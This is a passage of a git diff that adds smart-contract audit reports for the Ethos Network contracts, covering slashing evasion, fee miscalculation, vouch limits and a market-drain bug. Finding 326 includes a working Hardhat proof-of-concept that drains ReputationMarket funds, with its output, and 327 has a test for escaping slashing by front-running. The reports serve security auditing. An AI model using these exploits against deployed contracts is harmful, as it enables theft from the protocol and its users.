confusion for users or attackers exploiting the lack of validation. + +--- + +## Proof of Concept (PoC) +```solidity +contract ProtocolFeeTest { + address protocolFeeAddress; + + function testProtocolFeeDeposit() external { + uint256 amount = 1 ether; + // Intentionally not ensuring the contract balance is sufficient + _depositProtocolFee(amount); // This call will revert if balance < amount + } + + function _depositProtocolFee(uint256 amount) internal { + (bool success, ) = protocolFeeAddress.call{ value: amount }(""); + if (!success) revert("Protocol fee deposit failed"); + } +} +``` +# Mitigation + +To mitigate the risks associated with the `_depositProtocolFee` function in the `EthosVouch.sol` file: + +1. **Add a pre-check to ensure sufficient balance:** + Implement a pre-check within `_depositProtocolFee` to ensure the contract has enough balance to cover the transfer. This will prevent the transaction from failing due to insufficient funds. + + Example code: +```solidity +function _depositProtocolFee(uint256 amount) internal { + require(address(this).balance >= amount, "Insufficient contract balance"); + (bool success, ) = protocolFeeAddress.call{ value: amount }(""); + if (!success) revert("Protocol fee deposit failed"); + } +``` + +2. **Document the Preconditions Explicitly:** +Document the preconditions clearly in the function's comments. This ensures developers are aware of the necessary conditions to call the function safely. +Example documentation: + + +```solidity +/** + * @dev Transfers protocol fees to the specified address. + * Preconditions: Ensure the contract has enough balance to transfer the `amount`. + */ +``` + diff --git a/325.md b/325.md new file mode 100644 index 0000000..d2cef6a --- /dev/null +++ b/325.md @@ -0,0 +1,53 @@ +Sweet Walnut Buffalo + +High + +# Users can escape slashing everytime they might get slashed by simply unvouching before 24h pass + +### Summary + +> Any Ethos participant may act as a "whistleblower" to accuse another participant of inaccurate claims or unethical behavior. This accusation triggers a 24h lock on staking (and withdrawals) for the accused. +> +> The whistleblower requests human validation by pledging a nominal reward to validators. Validators vote to indicate if they found the claims valid. Validators are rewarded the same whichever way they vote. +> +> If validators vote in favor of the whistleblower, they reward the whistleblower pledged to validators is reimbursed from the amount staked by the accused. This is the "slashing punishment," and it cannot exceed 10% of the total amount staked in Ethos. + +this how slashing works, however locking (vouch/unvouch) and withdrawals for 24h wasn't implemented. which makes it easy to any `profileid` was accused of unerthical behavior to `unvouch` all his Vouches and gets all his ETH, so when onlyslasher invoke `slash` function there will be no ETH at Vouches to slash. + +[EthosVouch.sol, unvouch()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L452C2-L482C1) + +### impact +any accused participant of inaccurate claims or unethical behavior can avoid slashing. +slashing will be useless as it can be bypassed every time without any external pre-conditions. + +### recommendations +Lock users funds and revert if it was locked at `unvouch()` + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/326.md b/326.md new file mode 100644 index 0000000..e554c2f --- /dev/null +++ b/326.md @@ -0,0 +1,199 @@ +Rough Admiral Yak + +High + +# Attacker can Drain Market and Contract via Opposite Vote Manipulation in `ReputationMarket` + +### Summary + +An attacker can drain the `ReputationMarket` contract by buying both `Trust` and `DisTrust` votes in a manner that allows them to drain funds from the market and contract. This attack involves purchasing both types of votes and then selling them back to the market, resulting in an increase in the attacker's balance and a decrease in the market's balance. + + +### Root Cause + +The root cause of this issue lies in the market's vote pricing mechanism and the lack of restrictions on buying and selling both `Trust` and `DisTrust` votes. The market allows users to manipulate the vote prices by buying of both types of votes, leading to an imbalance that can be exploited to drain the market. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol?plain=1#L920-L923 + +```javascipt +function _calcVotePrice(Market memory market, bool isPositive) private pure returns (uint256) { + uint256 totalVotes = market.votes[TRUST] + market.votes[DISTRUST]; + return (market.votes[isPositive ? TRUST : DISTRUST] * market.basePrice) / totalVotes; +} +``` + + +### Internal pre-conditions + +The only internal precondition for this issue to be exploitable is the existence of a live market. + + +### External pre-conditions + +_No response_ + +### Attack Path + +- The user creates a market and funds it with an initial liquidity. +- The attacker buys a [significant] amount of Trust votes (depends on how many votes already bought). +- The attacker buys a [significant] amount of DisTrust votes (depends on how many votes already bought). +- The attacker sells all the Trust votes back to the market. +- The attacker sells all the DisTrust votes back to the market. + +Note that the attack vote buy amount depends on the amount of votes that already bought by users in that market and both new and old markets are vulnerable. Also, since all buy and sell calls can be batched into a single transaction, attackers do not need too much money and can use flash loans to execute the attack. + + +### Impact + +- Financial Loss: The Contract's funds and market's funds are drained, leading to financial losses for the platform and its participants. +- Attacker Profit: The attacker gains ETH, which they did not initially have, effectively exploiting the market. + + +### PoC + +create new file as test/reputationMarket/drain.test.ts +```javascript +// test/reputationMarket/drain.test.ts +import { loadFixture } from '@nomicfoundation/hardhat-toolbox/network-helpers.js'; +import { expect } from 'chai'; +import hre from 'hardhat'; +import { type ReputationMarket } from '../../typechain-types/index.js'; +import { createDeployer, type EthosDeployer } from '../utils/deployEthos.js'; +import { type EthosUser } from '../utils/ethosUser.js'; +import { DEFAULT, getExpectedVotePrice, MarketUser } from './utils.js'; + +const { ethers } = hre; + +describe('Drain market', () => { + let deployer: EthosDeployer; + let ethosUser: EthosUser; + let marketUser: MarketUser; + let ethosAttacker: EthosUser; + let attacker: MarketUser; + let reputationMarket: ReputationMarket; + let userAddress: string; + let attackerAddress: string; + + beforeEach(async () => { + deployer = await loadFixture(createDeployer); + + if (!deployer.reputationMarket.contract) { + throw new Error('ReputationMarket contract not found'); + } + ethosUser = await deployer.createUser(); + await ethosUser.setBalance('100'); + ethosAttacker = await deployer.createUser(); + await ethosAttacker.setBalance('2000'); + + + + marketUser = new MarketUser(ethosUser.signer); + attacker = new MarketUser(ethosAttacker.signer); + userAddress = await marketUser.signer.getAddress(); + attackerAddress = await attacker.signer.getAddress(); + + console.log("Marker creator initial balance: ", await ethers.provider.getBalance(userAddress)); + + reputationMarket = deployer.reputationMarket.contract; + DEFAULT.reputationMarket = reputationMarket; + DEFAULT.profileId = ethosUser.profileId; + await reputationMarket + .connect(deployer.ADMIN) + .setUserAllowedToCreateMarket(DEFAULT.profileId, true); + // some user create market + await reputationMarket.connect(marketUser.signer).createMarket({ value: DEFAULT.initialLiquidity }); + + console.log("Marker creator after creating market: ", await ethers.provider.getBalance(userAddress)); + }); + + it('User can drain funds of market by buying opposite votes', async () => { + // Record initial user balance and initial market funds before operations + const initialAttackerBalance = await ethers.provider.getBalance(attackerAddress); + const initialMarketFunds = await reputationMarket.marketFunds(DEFAULT.profileId); + const initialContractBalance = await ethers.provider.getBalance(reputationMarket.target); + + // Step 1: Attacker buys positive votes + const { trustVotes: AttackerPositiveVotes, fundsPaid: buyPositiveFundsPaid } = await attacker.buyVotes({ + buyAmount: DEFAULT.buyAmount * 10n, + isPositive: true + }); + + // Step 2: Attacker buys negative votes + const { distrustVotes: AttackerNegativeVotes, fundsPaid: buyNegativeFundsPaid } = await attacker.buyVotes({ + buyAmount: DEFAULT.buyAmount * 8n, + isPositive: false + }); + + // Step 3: Attacker sells positive votes + const { fundsReceived: sellPositiveFundsReceived } = await attacker.sellVotes({ + sellVotes: AttackerPositiveVotes, + isPositive: true + }); + + // Step 4: Attacker sells negative votes + const { fundsReceived: sellNegativeFundsReceived } = await attacker.sellVotes({ + sellVotes: AttackerNegativeVotes, + isPositive: false + }); + + // Record final Attacker balance and final market funds after operations + const finalAttackerBalance = await ethers.provider.getBalance(attackerAddress); + const finalMarketFunds = await reputationMarket.marketFunds(DEFAULT.profileId); + const finalContractBalance = await ethers.provider.getBalance(reputationMarket.target); + const balanceDifference = finalAttackerBalance - initialAttackerBalance; + const balanceDifferenceInETH = ethers.formatEther(balanceDifference); + + // Assertions + expect(finalAttackerBalance).to.be.gt(initialAttackerBalance, "Attacker balance did not increase"); + expect(finalMarketFunds).to.be.lt(initialMarketFunds, "Market funds did not decrease"); + expect(finalContractBalance).to.be.lt(initialContractBalance, "Market funds did not decrease"); + + // Log the values for verification + console.log("Attacker Paid for Positive Votes: ", buyPositiveFundsPaid); + console.log("Attacker Paid for Negative Votes: ", buyNegativeFundsPaid); + console.log("Attacker Received from Selling Pos: ", sellPositiveFundsReceived); + console.log("Attacker Received from Selling Neg: ", sellNegativeFundsReceived); + console.log("Initial Attacker Balance: ", initialAttackerBalance); + console.log("Final Attacker Balance: ", finalAttackerBalance); + console.log("Balance Difference (ETH): ", balanceDifferenceInETH); + console.log("Initial Market Funds: ", initialMarketFunds); + console.log("Final Market Funds: ", finalMarketFunds); + console.log("Initial Contract Balance (ETH): ", initialContractBalance); + console.log("Final Contract Balance (ETH): ", finalContractBalance); + + }); +}); +``` + + +here is the output: +```text +└─[0] NODE_OPTIONS='--no-warnings=ExperimentalWarning --experimental-loader ts-node/esm/transpile-only' npx hardhat test test/reputationMarket/drain.test.ts + + + Drain market +Marker creator initial balance: 100000000000000000000n +Marker creator after creating market: 99979639247670882803n +Attacker Paid for Positive Votes: 98198662448662444n +Attacker Paid for Negative Votes: 75813012760640547n +Attacker Received from Selling Pos: 27848892341432357n +Attacker Received from Selling Neg: 164022603428563173n +Initial Attacker Balance: 2000000000000000000000n +Final Attacker Balance: 2000017145767451772077n +Balance Difference (ETH): 0.017145767451772077 +Initial Market Funds: 20000000000000000n +Final Market Funds: 2140179439307461n +Initial Contract Balance (ETH): 20000000000000000n +Final Contract Balance (ETH): 2140179439307461n + ✔ User can drain funds of market by buying opposite votes + + + 1 passing (943ms) +``` + +as we can see the contract and market balance decreased around 90% (from 20_000000000000000n to 2_140179439307461n) and attacker balance increased (from 2000000000000000000000n to 2000017145767451772077n) and have 0.017eth profit which can be more if contract had more vote and attacker bought more vote. + + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/327.md b/327.md new file mode 100644 index 0000000..224c102 --- /dev/null +++ b/327.md @@ -0,0 +1,140 @@ +Keen Scarlet Aardvark + +Medium + +# Slashing mechanism can be frontrun by the accused to avoid paying fines in current implementation + +### Summary + +The current implementation of the slashing function [`EthosVouch::slash`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L520) does not take into consideration archived vouches. + + +```javascript + + +function slash( + uint256 authorProfileId, + uint256 slashBasisPoints + ) external onlySlasher whenNotPaused nonReentrant returns (uint256) { + if (slashBasisPoints > MAX_SLASH_PERCENTAGE) { + revert InvalidSlashPercentage(); + } + + + uint256 totalSlashed; + uint256[] storage vouchIds = vouchIdsByAuthor[authorProfileId]; + + + for (uint256 i = 0; i < vouchIds.length; i++) { + Vouch storage vouch = vouches[vouchIds[i]]; + // Only slash active vouches +@>> if (!vouch.archived) { + uint256 slashAmount = vouch.balance.mulDiv( + slashBasisPoints, + BASIS_POINT_SCALE, + Math.Rounding.Floor + ); + if (slashAmount > 0) { + vouch.balance -= slashAmount; + totalSlashed += slashAmount; + } + } + } + + + if (totalSlashed > 0) { + // Send slashed funds to protocol fee address + (bool success, ) = protocolFeeAddress.call{ value: totalSlashed }(""); + if (!success) revert FeeTransferFailed("Slash transfer failed"); + } + + + emit Slashed(authorProfileId, slashBasisPoints, totalSlashed); + return totalSlashed; +} + + +``` + + +Such a verification is correct. However, the accused can observe any slashing call, and frontrun it if it contains his profileId. As a result, he can avoid the fines imposed by the protocol. + + +### Root Cause + +The protocol [documentation](https://whitepaper.ethos.network/ethos-mechanisms/slash) mentioned that any accused will see their staking (and withdrawals) blocked for 24h. However, this is not yet taken into account in the current implementation. The accused can unvouch all of his vouches and withdraw most of his funds before the slashing is called. + + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Attacker observes the slashing function call on his profile Id +2. Frontrun it to unvouch all current vouches, hence, avoid to pay fines + + + +### Impact + +The slashing mechanism at this state is not efficient, any accused can escape from it. + + +### PoC + +- This test case can be appended to the suite `describe('EthosVouch Slashing'` in the file `vouch.slash.test.ts`: + + +```javascript + + +it('should be able to escape slashing', async () => { + const slashPercentage = 1000n; // 10% + const userC = await deployer.createUser(); + const userD = await deployer.createUser(); + const userE = await deployer.createUser(); + + + // userE vouches multiple profiles + const vouchIdC = (await userE.vouch(userC)).vouchId; + const vouchIdD = (await userE.vouch(userD)).vouchId; + + // userE sees the slashing call on his profileId and frontrun it by unvouching his vouches + await userE.unvouch(vouchIdC); + await userE.unvouch(vouchIdD); + + + // Slashing is finally called + expect(await ethosVouch.connect(slasher.signer).slash(userE.profileId, slashPercentage)).to.emit(ethosVouch, 'Slashed') + .withArgs(userE.profileId, slashPercentage, 0); + }); + + +``` + + +- Then, run it with the command `NODE_OPTIONS='--no-warnings=ExperimentalWarning --experimental-loader ts-node/esm/transpile-only' npx hardhat test --grep "escape"`, which will return the following output: + + +```text + + +EthosVouch Slashing + ✔ should be able to escape slashing + + + + + 1 passing (1s) + + +``` + +### Mitigation + +The protocol is recommended to implement the accusation process as mentioned in the [white paper](https://whitepaper.ethos.network/ethos-mechanisms/slash). It's utmost important to block the accused from withdrawing his funds before the accusation is settled. diff --git a/328.md b/328.md new file mode 100644 index 0000000..95eb3d3 --- /dev/null +++ b/328.md @@ -0,0 +1,157 @@ +Sweet Carmine Dachshund + +Medium + +# Ethos protocol may incur a loss of exit fees when `EthosVouch#unvouch()` is called + +### Summary + +The calculation of exit fee is incorrect, resulting the exit fee less than expected + +### Links to affected code +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L955 + +### Root Cause + +When a user calls `EthosVouch#unvouch()`, the total amount of ETH they can withdraw should be calculated as below: +```math +\begin{align*} +fee_{exit} &= amount_{vouch} * bips_{exit} \\ +amount_{withdraw} &= amount_{vouch} - fee_{exit} \\ +&= amount_{vouch} * (1 - bips_{exit}) \\ +\end{align*} +``` +If the balance of the specified vouch is 100 ETH and $bips_{exit} = 0.03$, the owner of the vouch should pay `3 ETH` as exit fee and receive `97 ETH` when exiting the vouch. + +However, the calculation of exit fee is incorrect: +```solidity + function applyFees( + uint256 amount, + bool isEntry, + uint256 subjectProfileId + ) internal returns (uint256 toDeposit, uint256 totalFees) { + if (isEntry) { + // Calculate entry fees + uint256 protocolFee = calcFee(amount, entryProtocolFeeBasisPoints); + uint256 donationFee = calcFee(amount, entryDonationFeeBasisPoints); + uint256 vouchersPoolFee = calcFee(amount, entryVouchersPoolFeeBasisPoints); + + // Distribute fees + if (protocolFee > 0) { + _depositProtocolFee(protocolFee); + } + if (donationFee > 0) { + _depositRewards(donationFee, subjectProfileId); + } + if (vouchersPoolFee > 0) { + // update the voucher pool fee to the amount actually distributed + vouchersPoolFee = _rewardPreviousVouchers(vouchersPoolFee, subjectProfileId); + } + totalFees = protocolFee + donationFee + vouchersPoolFee; + toDeposit = amount - totalFees; + } else { + // Calculate and apply exit fee +@> uint256 exitFee = calcFee(amount, exitFeeBasisPoints); + + if (exitFee > 0) { + _depositProtocolFee(exitFee); + } + totalFees = exitFee; + toDeposit = amount - exitFee; + } + + return (toDeposit, totalFees); + } +``` +```solidity + function calcFee(uint256 total, uint256 feeBasisPoints) internal pure returns (uint256 fee) { + /* + * Formula derivation: + * 1. total = deposit + fee + * 2. fee = deposit * (feeBasisPoints/10000) + * 3. total = deposit + deposit * (feeBasisPoints/10000) + * 4. total = deposit * (1 + feeBasisPoints/10000) + * 5. deposit = total / (1 + feeBasisPoints/10000) + * 6. fee = total - deposit + * 7. fee = total - (total * 10000 / (10000 + feeBasisPoints)) + */ + return + total - + (total.mulDiv(BASIS_POINT_SCALE, (BASIS_POINT_SCALE + feeBasisPoints), Math.Rounding.Floor)); + } +``` +From above codes we can see, if a user exits a `100 ETH` vouch with $bips_{exit} = 0.03$, they'll pay a `2.91262 ETH` exit fee instead of `3 ETH`, resulting in a loss of protocol revenue: +```math +\begin{align*} +amount_{vouch} &= 100 ETH \\ +bips_{exit} &= 3\% \\ +fee_{exit} &= amount_{vouch} - \frac{1}{1 + bips_{exit}} * amount_{vouch} \\ +&= \frac{bips_{exit}}{1 + bips_{exit}} * amount_{vouch} \\ +&= \frac{3\%}{1 + 3\%} * 100 ETH \\ +&= 2.91262 ETH \\ +\end{align*} +``` + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Ethos protocol may incur a loss of exit fees when `EthosVouch#unvouch()` is called + +### PoC + +_No response_ + +### Mitigation + +The exit fee should be calculated as below: +```diff + function applyFees( + uint256 amount, + bool isEntry, + uint256 subjectProfileId + ) internal returns (uint256 toDeposit, uint256 totalFees) { + if (isEntry) { + // Calculate entry fees + uint256 protocolFee = calcFee(amount, entryProtocolFeeBasisPoints); + uint256 donationFee = calcFee(amount, entryDonationFeeBasisPoints); + uint256 vouchersPoolFee = calcFee(amount, entryVouchersPoolFeeBasisPoints); + + // Distribute fees + if (protocolFee > 0) { + _depositProtocolFee(protocolFee); + } + if (donationFee > 0) { + _depositRewards(donationFee, subjectProfileId); + } + if (vouchersPoolFee > 0) { + // update the voucher pool fee to the amount actually distributed + vouchersPoolFee = _rewardPreviousVouchers(vouchersPoolFee, subjectProfileId); + } + totalFees = protocolFee + donationFee + vouchersPoolFee; + toDeposit = amount - totalFees; + } else { + // Calculate and apply exit fee +- uint256 exitFee = calcFee(amount, exitFeeBasisPoints); ++ uint256 exitFee = amount.mulDiv(exitFeeBasisPoints, BASIS_POINT_SCALE, Math.Rounding.Floor); + + if (exitFee > 0) { + _depositProtocolFee(exitFee); + } + totalFees = exitFee; + toDeposit = amount - exitFee; + } + + return (toDeposit, totalFees); + } +``` \ No newline at end of file diff --git a/329.md b/329.md new file mode 100644 index 0000000..f29e34e --- /dev/null +++ b/329.md @@ -0,0 +1,76 @@ +Main Honeysuckle Tarantula + +Medium + +# Vouch author will forced to close some vouch in case of decreasing vouchLimit + +### Summary + +Let's understand what vouch limits are for and what they are. +Limits are needed to restrict the size of the [`vouchIdsForSubjectProfileId`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L346) and `vouchIdsByAuthor` arrays. +Limits are checked when an author creates a new vouch +```solidity +if (vouchIdsByAuthor[authorProfileId].length >= maximumVouches) { + revert MaximumVouchesExceeded( + vouchIdsByAuthor[authorProfileId].length, + "Exceeds author vouch limit" + ); + } +... +if (vouchIdsForSubjectProfileId[subjectProfileId].length >= maximumVouches) { + revert MaximumVouchesExceeded( + vouchIdsForSubjectProfileId[subjectProfileId].length, + "Exceeds subject vouch limit" + ); + } +``` +However, let's look at what happens if maximumVouches decreases as a result of calling the function +```solidity +function updateMaximumVouches(uint256 maximumVouches_) external onlyAdmin whenNotPaused { + if (maximumVouches_ > 256) { + revert MaximumVouchesExceeded(maximumVouches_, "Maximum vouches cannot exceed 256"); + } + maximumVouches = maximumVouches_; + } +``` +Specifically, what happens to users whose vouchIdsByAuthor arrays have more than the set limit. +Let's say at first the limit was 256, the author vouch 250 times, however afterwards the limit was lowered to 240. + +In this case, such an author will be forced to forcefully close a certain number of vouchs, which incurs a loss of funds for him, protocol, those he vouchs for + + +### Root Cause + +One variable is responsible for two limits + +### Internal pre-conditions + +- The user must make the number of vouch less than the current limit (X) + +- The limit must decrease enough to become less than X + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +In the first place, such a forced reduction in vouch carries losses for all parties to the protocol. + +Secondly, a user in this protocol will not be able to simply create a new address and ignore the limit exceeded on the previous one, because everything is tied to profiles. + +I think in this context the error deserves medium severity + +### PoC + +_No response_ + +### Mitigation + +Enter separate limits for each array so that reducing the limit to one does not affect the other. + +The limit for the author's vote array can be made fixed so that such problems do not arise. \ No newline at end of file diff --git a/330.md b/330.md new file mode 100644 index 0000000..f4688b6 --- /dev/null +++ b/330.md @@ -0,0 +1,76 @@ +Brave Seaweed Whale + +Medium + +# vouchExistsFor() is implemented incorrectly + +### Summary + +In EthosVouch.sol, `vouchExistsFor()` incorrectly checks if a vouch exists which makes it possible to create multiple vouches from profile A to profile B. + +### Root Cause + +`vouchByProfileId()` used to create new vouches calls `_vouchShouldNotExistFor()` to check if a vouch from profile A to profile B exists which calls `vouchExistsFor()` which has an incorrect check. +```solidity +function vouchByProfileId( + uint256 subjectProfileId, + string calldata comment, + string calldata metadata + ) public payable whenNotPaused nonReentrant { + // validate author profile + uint256 authorProfileId = IEthosProfile( + contractAddressManager.getContractAddressForName(ETHOS_PROFILE) + ).verifiedProfileIdForAddress(msg.sender); + ... + // one vouch per profile per author + _vouchShouldNotExistFor(authorProfileId, subjectProfileId); + ... + } +``` +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L369 +```solidity +function _vouchShouldNotExistFor(uint256 author, uint256 subjectProfileId) private view { + if (vouchExistsFor(author, subjectProfileId)) { + revert AlreadyVouched(author, subjectProfileId); + } + } +``` +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L844-L848 + +`vouchExistsFor()` wrongly grabs `unvouchedAt` instead of `vouchedAt`, because of this the check returns false even if a vouch actually exists. +```solidity +function vouchExistsFor(uint256 author, uint256 subjectProfileId) public view returns (bool) { + uint256 id = vouchIdByAuthorForSubjectProfileId[author][subjectProfileId]; + Vouch storage v = vouches[id]; + + return + v.authorProfileId == author && + v.subjectProfileId == subjectProfileId && +> v.activityCheckpoints.unvouchedAt == 0; + } +``` +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L803-L811 + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +It is possible to create multiple vouches from address A to address B which is not intended. + +### PoC + +_No response_ + +### Mitigation + +Fix the check in `vouchExistsFor()` from `v.activityCheckpoints.unvouchedAt == 0` to `v.activityCheckpoints.vouchedAt == 0` \ No newline at end of file diff --git a/331.md b/331.md new file mode 100644 index 0000000..1401656 --- /dev/null +++ b/331.md @@ -0,0 +1,131 @@ +Main Honeysuckle Tarantula + +Medium + +# Users pay less than the vouchersPoolFee due when the `increaseVouch` function is called + +### Summary + +The [`increaseVouch`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L426) function allows the user to increase the vouch.balance. + +However, the fees in the `applyFees` function are subtracted from the amount he wants to deposit +```solidity +function increaseVouch(uint256 vouchId) public payable nonReentrant { + // vouch increases much also meet the minimum vouch amount + if (msg.value < configuredMinimumVouchAmount) { + revert MinimumVouchAmount(configuredMinimumVouchAmount); + } + // get the profile id of the author + uint256 profileId = IEthosProfile( + contractAddressManager.getContractAddressForName(ETHOS_PROFILE) + ).verifiedProfileIdForAddress(msg.sender); + _vouchShouldBelongToAuthor(vouchId, profileId); + // make sure this vouch is active; not unvouched + _vouchShouldBePossibleUnvouch(vouchId); + + uint256 subjectProfileId = vouches[vouchId].subjectProfileId; + (uint256 toDeposit, ) = applyFees(msg.value, true, subjectProfileId); + vouches[vouchId].balance += toDeposit; + + emit VouchIncreased(vouchId, profileId, subjectProfileId, msg.value); + } +``` + +The applyFees function will take three different fees from msg.value. + +- protocolFee +- donationFee +- vouchersPoolFee + +We're interested in vouchersPoolFee. + +It is distributed among all vouchers of a given subjectProfileId + +```solidity +function _rewardPreviousVouchers( + uint256 amount, + uint256 subjectProfileId + ) internal returns (uint256 amountDistributed) { + uint256[] storage vouchIds = vouchIdsForSubjectProfileId[subjectProfileId]; + uint256 totalVouches = vouchIds.length; + + // Calculate total balance of all active vouches + uint256 totalBalance; + for (uint256 i = 0; i < totalVouches; i++) { + Vouch storage vouch = vouches[vouchIds[i]]; + // Only include active (not archived) vouches in the distribution + if (!vouch.archived) { + totalBalance += vouch.balance; + } + } + + // If this is the first voucher, do not distribute rewards + if (totalBalance == 0) { + return totalBalance; + } + + // Distribute rewards proportionally + uint256 remainingRewards = amount; + for (uint256 i = 0; i < totalVouches && remainingRewards > 0; i++) { + Vouch storage vouch = vouches[vouchIds[i]]; + if (!vouch.archived) { + // Calculate this vouch's share of the rewards + uint256 reward = amount.mulDiv(vouch.balance, totalBalance, Math.Rounding.Floor); + if (reward > 0) { + vouch.balance += reward; + remainingRewards -= reward; + } + } + } + + // Send any dust (remaining rewards due to rounding) to the subject reward escrow + if (remainingRewards > 0) { + _depositRewards(remainingRewards, subjectProfileId); + } + + return amount; + } +``` +However, the function does not take into account in the distribution of the commission that this author is also among the vouches. That is, he receives a proportional share of the total pool in this commission. Thus, he reduces it for himself. + + +### Root Cause + +_rewardPreviousVouchers doesn't take into account that the author of the vouch may also be among the previous vouchers + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +Let's say there are now two Vouch +[Author 1:100, Author 2:10] + +Author 1 decides to increase his vouch by another 100, let's say the commission for previousVouchers is 11%, so he has to pay 11. + +The 11 will be distributed between the two authors as 10, 1. + +So the commission distribution that will be in reality is as follows + +Author 1: 10 +Author 2: 1 + +Although it should be: +Author 2: 11 + +### Impact + +Incorrect allocation of commissions. Users are losing funds that they could have gotten + +### PoC + +_No response_ + +### Mitigation + +Add a check that you don't count the vouch author in the commission allocation \ No newline at end of file diff --git a/332.md b/332.md new file mode 100644 index 0000000..2ab1681 --- /dev/null +++ b/332.md @@ -0,0 +1,82 @@ +Main Honeysuckle Tarantula + +Medium + +# No lock funds after unvouch will allow the author to withdraw his funds before slash + +### Summary + +As stated in the [documentation](https://whitepaper.ethos.network/ethos-mechanisms/slash) the slash procedure will be done by voting. +>The whistleblower requests human validation by pledging a nominal reward to validators. Validators vote to indicate if they found the claims valid. Validators are rewarded the same whichever way they vote. +If validators vote in favor of the whistleblower, they reward the whistleblower pledged to validators is reimbursed from the amount staked by the accused. This is the "slashing punishment," and it cannot exceed 10% of the total amount staked in Ethos. + +The following proposal is also important. +>Any Ethos participant may act as a “whistleblower” to accuse another participant of inaccurate claims or unethical behavior. This accusation triggers a 24h lock on staking (and withdrawals) for the accused. + +As we can see, locking facilities for the accused is implied. + +However, in the current implementation of the protocol, the [`unvouch`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L452) function allows authors to withdraw funds immediately + +```solidity +function unvouch(uint256 vouchId) public whenNotPaused nonReentrant { + Vouch storage v = vouches[vouchId]; + _vouchShouldExist(vouchId); + _vouchShouldBePossibleUnvouch(vouchId); + // because it's $$$, you can only withdraw/unvouch to the same address you used to vouch + // however, we don't care about the status of the address's profile; funds are always attached + // to an address, not a profile + if (vouches[vouchId].authorAddress != msg.sender) { + revert AddressNotVouchAuthor(vouchId, msg.sender, vouches[vouchId].authorAddress); + } + + v.archived = true; + // solhint-disable-next-line not-rely-on-time + v.activityCheckpoints.unvouchedAt = block.timestamp; + // remove the vouch from the tracking arrays and index mappings + _removeVouchFromArrays(v); + + // apply fees and determine how much is left to send back to the author + (uint256 toWithdraw, ) = applyFees(v.balance, false, v.subjectProfileId); + // set the balance to 0 and save back to storage + v.balance = 0; + // send the funds to the author + // note: it sends it to the same address that vouched; not the one that called unvouch + (bool success, ) = payable(v.authorAddress).call{ value: toWithdraw }(""); + if (!success) { + revert FeeTransferFailed("Failed to send ETH to author"); + } + + emit Unvouched(v.vouchId, v.authorProfileId, v.subjectProfileId); + } +``` + +That way, the so-called defendants, when they find out their vouch has been subject to a vote can simply withdraw money from their vouch and create a new one that is not subject to a vote in a single transaction + +### Root Cause + +No lock of funds for voting period in case of withdraw + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +User sees that his vouch is on the ballot. +He simply withdraws funds from all his vouchs and uses them back in the same transaction, creating new vouchs. + +### Impact + +Completely breaks the logic of slash + +### PoC + +_No response_ + +### Mitigation + +Add funds lock after unvouch (for example for 24 hours) \ No newline at end of file diff --git a/333.md b/333.md new file mode 100644 index 0000000..00ee8cd --- /dev/null +++ b/333.md @@ -0,0 +1,53 @@ +Noisy Coal Cod + +Medium + +# Incorrect `MAX_TOTAL_FEES` Fee Cap Configuration + +### Summary + +One of the limitations set on the contract is that maximum total fees cannot exceed 10% and this is enforced by `MAX_TOTAL_FEES` which is supposed to be set to 1_000 in BP (10%) but due to incorrect configuration, MAX_TOTAL_FEES = 10_000 in BP (100%) + +### Root Cause + +in [EthosVouch::checkFeeExceedsMaximum()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L996) +```solidity + function checkFeeExceedsMaximum(uint256 currentFee, uint256 newFee) internal view { + uint256 totalFees = entryProtocolFeeBasisPoints + + exitFeeBasisPoints + + entryDonationFeeBasisPoints + + entryVouchersPoolFeeBasisPoints + + newFee - + currentFee; + if (totalFees > MAX_TOTAL_FEES) revert FeesExceedMaximum(totalFees, MAX_TOTAL_FEES); + } +``` +The `totalFees` should not be able to exceed `MAX_TOTAL_FEES` which is 10% but due to `MAX_TOTAL_FEES` incorrectly been set, this allows the totalFees to exceed 10%. + +### Internal pre-conditions + +None + +### External pre-conditions + +None + +### Attack Path + +1. Admin tries to set new fees, although trusted, is able to bypass the limitation imposed on admin and set totalFees > 10% + +### Impact + +This breaks one of the limitations on values set by admins in the codebase which is +> For both contracts: +Maximum total fees cannot exceed 10% + +This makes it possible for total fees set to exceed 10% + +### PoC + +present in root cause + +### Mitigation + +`MAX_TOTAL_FEES = 1000` (10%) should be the correct configuration \ No newline at end of file diff --git a/334.md b/334.md new file mode 100644 index 0000000..5ba4df9 --- /dev/null +++ b/334.md @@ -0,0 +1,124 @@ +Sweet Carmine Dachshund + +Medium + +# The author might be unable to mark their unvouched vouch as `unhealthy` in time if `unhealthyResponsePeriod` is updated suddenly + +### Links to affected code +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L857-L858 + +### Summary + 